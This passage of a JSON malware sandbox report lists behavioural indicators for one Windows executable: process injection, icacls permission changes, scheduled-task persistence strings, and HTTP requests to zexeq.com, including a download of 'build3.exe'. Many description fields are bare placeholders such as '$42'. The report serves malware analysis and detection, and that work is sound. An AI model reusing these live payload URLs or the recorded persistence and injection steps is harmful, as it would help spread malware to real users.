\"Linker\"","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$42","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"General","name":"PE file contains executable sections","description":"\"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" has an executable section named \".text\"","origin":"Static Parser","relevance":1,"id":"static-80","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"General","name":"PE file contains writable sections","description":"\"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" has an writable section named \".data\"","origin":"Static Parser","id":"static-95","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"General","name":"PE file entrypoint instructions","description":"\"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" file has an entrypoint instructions - \"call\t0x40c0fe,jmp\t0x407495,push\tdword ptr [0x4b1818],call\tdword ptr [0x4010dc],test\teax, eax,je\t0x40761e,call\teax,push\t0x19,call\t0x40b2a0,push\t1,push\t0,call\t0x4099fe,add\tesp, 0xc,jmp\t0x4099cb,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,mov\tecx, dword ptr [esp + 4],test\tecx, 3,je\t0x407670,mov\tal, byte ptr [ecx],add\tecx, 1,test\tal, al,je\t0x4076a3,test\tecx, 3,jne\t0x40764c,add\teax, 0,\"","origin":"Static Parser","id":"static-96","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"General","name":"PE file has a big virtual size section","description":"Virtual size of \".data\" is \"0x31514c\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-124","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"Observed system executable string:\"%WINDIR%\\SysWOW64\\icacls.exe\" [Source: 00000000-00000260-00000BC0-1376817182]","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"$43","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"api.2ip.ua\"\n \"zexeq.com\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"\"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EMPTY\")\n \"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" (UID: 00000000-00000260)\n Spawned process \"icacls.exe\" with commandline \"icacls \"%LOCALAPPDATA%\\\\aa563fba-3360-4fa5-95e2-4e5b9f25d979\" /d ...\" (UID: 00000000-00003292)\n Spawned process \"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" with commandline \"--Admin IsNotAutoStart IsNotTask\" (UID: 00000000-00004868)\n Spawned process \"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" with commandline \"--Admin IsNotAutoStart IsNotTask\" (UID: 00000000-00005112)\n Spawned process \"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" with commandline \"--Task\" (UID: 00000000-00001252)\n Spawned process \"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" with commandline \"--Task\" (UID: 00000000-00003740)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"Spawned process \"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" (UID: 00000000-00000260)\n Spawned process \"icacls.exe\" with commandline \"icacls \"%LOCALAPPDATA%\\\\aa563fba-3360-4fa5-95e2-4e5b9f25d979\" /d ...\" (UID: 00000000-00003292)\n Spawned process \"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" with commandline \"--Admin IsNotAutoStart IsNotTask\" (UID: 00000000-00004868)\n Spawned process \"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" with commandline \"--Admin IsNotAutoStart IsNotTask\" (UID: 00000000-00005112)\n Spawned process \"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" with commandline \"--Task\" (UID: 00000000-00001252)\n Spawned process \"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" with commandline \"--Task\" (UID: 00000000-00003740)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"General","name":"The input sample is signed with a certificate","description":"The input sample is signed with a certificate issued by \"CN=WE1, O=Google Trust Services, C=US\" (SHA1: 8E:9B:92:B4:65:BA:B4:74:D0:4B:5F:8D:D1:8F:D5:B1:7D:42:AD:52; see report for more information)\n The input sample is signed with a certificate issued by \"CN=GTS Root R4, O=Google Trust Services LLC, C=US\" (SHA1: 10:8F:BF:79:4E:18:EC:53:47:A4:14:E4:37:0C:C4:50:6C:29:7A:B2; see report for more information)\n The input sample is signed with a certificate issued by \"CN=GlobalSign Root CA, OU=Root CA, O=GlobalSign nv-sa, C=BE\" (SHA1: 93:2B:ED:33:9A:A6:92:12:C8:93:75:B7:93:04:B4:75:49:0B:89:A0; see report for more information)","origin":"Certificate Data","mitre_attack_id":"T1553.002","relevance":10,"id":"certificate-0","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"General","name":"Uses 32 bit executable PE","description":"\"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE","origin":"Static Parser","id":"static-153","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"$44","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-310","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"details too long to display","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Installation/Persistence","name":"Drops a Windows setup information (INF) file","description":"$45","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-55","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Installation/Persistence","name":"Drops temp files","description":"\"BIT59EE.tmp\" has type \"MS-DOS executable\" - Location: [%TEMP%\\BIT59EE.tmp]\n \"BIT6330.tmp\" has type \"MS-DOS executable\" - Location: [%TEMP%\\BIT6330.tmp]\n \"BITF35B.tmp\" has type \"MS-DOS executable\" - Location: [%TEMP%\\BITF35B.tmp]","origin":"Binary File","mitre_attack_id":"T1105","relevance":1,"id":"binary-53","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$46","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" queries basic process information of the \"C:\\433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" (UID: 240)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$47","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Installation/Persistence","name":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)","description":"\"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" called \"NtQueueApcThread\" (UID: 00000000-00003740)","origin":"API Call","mitre_attack_id":"T1055.004","relevance":3,"id":"api-85","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"$48","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Installation/Persistence","name":"References task scheduler-related strings","description":"Found reference to API \"RegisterTaskDefinition. Err: %X\" (Indicator: \"RegisterTask\"; File: \"00000000-00005112.00000002.155651.00400000.00000040.mdmp\")\n Found reference to API \"RegisterTaskDefinition. Err: %X\" (Indicator: \"RegisterTaskDefinition\"; File: \"00000000-00005112.00000002.155651.00400000.00000040.mdmp\")\n Found reference to API \"RegisterTaskDefinition. Err: %X\" (Indicator: \"RegisterTask\"; Source: \"00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp\")\n Found reference to API \"RegisterTaskDefinition. Err: %X\" (Indicator: \"RegisterTaskDefinition\"; Source: \"00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1053","relevance":1,"id":"string-401","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Able to identify virtual environment using user register activity\n Matched sigs: Contains ability to delay execution by waiting for signal/timeout (API string)\n Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string)\n Matched sigs: Able to identify virtual environment by using user activity (API string)","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"$49","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"$4a","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$4b","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"$4c","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"$4d","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes log files","description":"\"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" writes a file \"C:\\bootTel.dat\"\n \"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" writes a file \"C:\\found.000\\dir0001.chk\\$filehashes$.dat\"\n \"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" writes a file \"%LOCALAPPDATA%\\Microsoft\\Internet Explorer\\ie4uinit-ClearIconCache.log\"","origin":"API Call","mitre_attack_id":"T1074.001","relevance":1,"id":"api-159","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to retrieve the URL data","description":"\"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" called \"InternetReadFile\" with parameter 10240 (UID: 00000000-00000260)\n \"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" called \"InternetReadFile\" with parameter 10240 (UID: 00000000-00005112)\n \"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" called \"InternetReadFile\" with parameter 1024 (UID: 00000000-00005112)\n \"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" called \"InternetReadFile\" with parameter 10240 (UID: 00000000-00003740)","origin":"API Call","mitre_attack_id":"T1105","relevance":3,"id":"api-118","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Network Related","name":"Calls an API used to connect to internet","description":"\"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" called \"InternetOpenA with parameter Microsoft Internet Explorer\" (UID: 00000000-00000260)\n \"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" called \"InternetOpenW with parameter Microsoft Internet Explorer\" (UID: 00000000-00000260)\n \"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" called \"InternetOpenA with parameter Microsoft Internet Explorer\" (UID: 00000000-00005112)\n \"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" called \"InternetOpenW with parameter Microsoft Internet Explorer\" (UID: 00000000-00005112)\n \"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" called \"InternetOpenA with parameter Microsoft Internet Explorer\" (UID: 00000000-00003740)\n \"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" called \"InternetOpenW with parameter Microsoft Internet Explorer\" (UID: 00000000-00003740)","origin":"API Call","mitre_attack_id":"T1071.001","relevance":1,"id":"api-199","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Network Related","name":"Communicates with HTTP webserver (GET/POST requests)","description":"Found http requests in header \"GET /geo.json\"\n Found http requests in header \"GET /raud/get.php?pid=B26C03561AFB3219181D305A741E63EC&first=true\"\n Found http requests in header \"GET /files/1/build3.exe\"","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-62","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with C2 using Sockets (API string)","description":"Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; Source: \"00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1095","relevance":1,"id":"string-228","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"$4e","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Network Related","name":"Contains ability to download a file from a URL (API string)","description":"Found reference to API \"InternetReadFile\" (Indicator: \"InternetReadFile\"; Source: \"00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp\")\n Found reference to API \"5106534132,7900,3230,,InternetReadFile,Wininet.dll,\"00:39:29.187\",RX=0,PX=0\" (Indicator: \"InternetReadFile\"; Source: \"00000000-00005112.00000000.151810.02BF0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","relevance":1,"id":"string-241","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Network Related","name":"Contains ability to enumerate network resources (API string)","description":"Found reference to API \"WNetCloseEnum\" (Indicator: \"NetCloseEnum\"; Source: \"00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp\")\n Found reference to API \"WNetEnumResourceW\" (Indicator: \"NetEnumResource\"; Source: \"00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1049","relevance":1,"id":"string-257","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Network Related","name":"Contains reference to OpenSSL library string","description":"$4f","origin":"File/Memory","mitre_attack_id":"T1573.002","relevance":1,"id":"string-494","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Network Related","name":"Contains reference to Windows HTTP services (API string)","description":"Found reference to API \"WinHttpGetProxyForUrl\" (Indicator: \"WinHttpGetProxyForUrl\"; File: \"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\")\n Found reference to API \"WinHttpGetProxyForUrl\" (Indicator: \"WinHttpGetProxyForUrl\"; Source: \"00000000-00000240.00000000.150804.00401000.00000020.mdmp\")\n Found reference to API \"WinHttpGetProxyForUrl\" (Indicator: \"WinHttpGetProxyForUrl\"; Source: \"00000000-00001252.00000000.153275.00401000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-323","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Network Related","name":"Contains reference to Windows internet services (API string)","description":"Found reference to API \"InternetOpenW\" (Indicator: \"InternetOpen\"; Source: \"00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp\")\n Found reference to API \"InternetOpenUrlW\" (Indicator: \"InternetOpen\"; Source: \"00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp\")\n Found reference to API \"InternetOpenUrlA\" (Indicator: \"InternetOpen\"; Source: \"00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp\")\n Found reference to API \"InternetOpenA\" (Indicator: \"InternetOpen\"; Source: \"00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-539","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"23.34.26.37\"\n \"192.168.0.2\"\n \"2.5.4.3\"\n \"2.5.29.1\"\n \"2.5.29.17\"\n \"2.5.29.31\"\n \"2.5.29.32\"\n Potential IP \"2.5.29.37\" found in string \"%2.5.29.37\"\n \"2.5.29.15\"\n \"2.5.29.19\"\n \"2.5.29.14\"\n Potential IP \"2.5.29.35\" found in string \"#2.5.29.35\"\n \"2.5.29.10\"\n \"2.5.29.16\"\n Potential IP \"192.168.0.2\" found in string \"ddress: 192.168.0.2, mac: 16:CD:AC:66:04:6E\"","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$50","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$51","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Network Related","name":"Found string related to HTTP headers","description":"Found string \"api.2ip.uaGET /geo.json HTTP/1.1/geo.json\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00005112.00000000.151810.02BF0000.00000004.mdmp, 00000000-00005112.00000001.153729.02BF0000.00000004.mdmp, 00000000-00005112.00000002.155651.02BF0000.00000004.mdmp\")\n Found string \"GET /geo.json HTTP/1.1\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00005112.00000000.151810.02BF0000.00000004.mdmp\")\n Found string \"GET /raud/get.php?pid=B26C03561AFB3219181D305A741E63EC&first=true HTTP/1.1\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00005112.00000000.151810.02BF0000.00000004.mdmp\")\n Found string \"Hostzexeq.comGET /raud/get.php?pid=B26C03561AFB3219181D305A741E63EC&first=true HTTP/1.1/raud/get.php?pid=B26C03561AFB3219181D305A741E63EC&first=true\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00005112.00000000.151810.02BF0000.00000004.mdmp\")\n Found string \"HTTP/1.1 200 OK\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00005112.00000000.151810.02BF0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-457","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Network Related","name":"GETs files from a webserver (HTTPS)","description":"GET /geo.json HTTP/1.1\nUser-Agent: Microsoft Internet Explorer\nHost: api.2ip.ua\n\n GET /raud/get.php?pid=B26C03561AFB3219181D305A741E63EC&first=true HTTP/1.1\nUser-Agent: Microsoft Internet Explorer\nHost: zexeq.com\n\n GET /files/1/build3.exe HTTP/1.1\nUser-Agent: Microsoft Internet Explorer\nHost: zexeq.com\n","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":3,"id":"network-72","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Network Related","name":"HTTP request contains Base64 encoded artifacts","description":"\"n~zAm}CN@Dq\"","origin":"Network Traffic","mitre_attack_id":"T1132.001","relevance":7,"id":"network-20","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Network Related","name":"JA3 SSL client fingerprint","description":"Observed JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e\n Observed JA3 fingerprint: bd0bf25947d4a37404f0424edf4db9ad\n Observed JA3 fingerprint: 2b8da9e558fef05fabfa78758281c38c","origin":"Network Traffic","relevance":1,"id":"network-55","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Network Related","name":"Making HTTPS connections using secure TLS/SSL version","description":"Connection was made using TLSv1.2 [tls.handshake.version: 0x0303]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":1,"id":"network-54","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Network Related","name":"Possibly tries to communicate over SSL connection (HTTPS)","description":"Found HTTPS url \"https://api.2ip.ua\"","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-98","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Network Related","name":"Recently renewed or created SSL certificate","description":"Newly renewed or created SSL certificate: \"api.2ip.ua\" (2 days old)","origin":"Certificate Data","mitre_attack_id":"T1583.001","relevance":5,"id":"certificate-4","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Network Related","name":"References OpenSSL library string","description":"$52","origin":"File/Memory","mitre_attack_id":"T1573.002","relevance":1,"id":"string-5003","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Network Related","name":"Sends GET/POST requests (HTTPS)","description":"Found HTTPS GET request to https://api.2ip.ua/geo.json","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-66","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Network Related","name":"Short-term SSL certificate detected","description":"Short term registered certificate: \"api.2ip.ua\" (90 days old)","origin":"Certificate Data","mitre_attack_id":"T1583.001","relevance":5,"id":"certificate-3","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Network Related","name":"Shows ability to send encrypted data to the internet","description":"Sample contains ability to use Microsoft's Enhanced Cryptographic Provider APIs and contains ability to communicate with network","origin":"Indicator Combinations","mitre_attack_id":"T1119","relevance":2,"id":"summary-27","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Network Related","name":"Uses HTTPS for communication","description":"HTTPS traffic to \"104.21.32.1\" on port \"443\"","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":3,"id":"network-38","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - AES encryption","description":"YARA signature for AES encryption matched on file \"tor-gencert.exe\"\n YARA signature for AES encryption matched on process \"00000000-00005112\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":5,"id":"yara-103","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - Anti Debugging Used","description":"YARA signature matched on Anti Debugging used in file \"winresume.exe\"","origin":"YARA Signature","mitre_attack_id":"T1622","relevance":2,"id":"yara-139","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to RPC protocol sequence strings","description":"Found string \"+ncalrpc:[OLE8A41343D7EB25441585A9966B4CF]\" (Indicator: \"ncalrpc\"; Source: 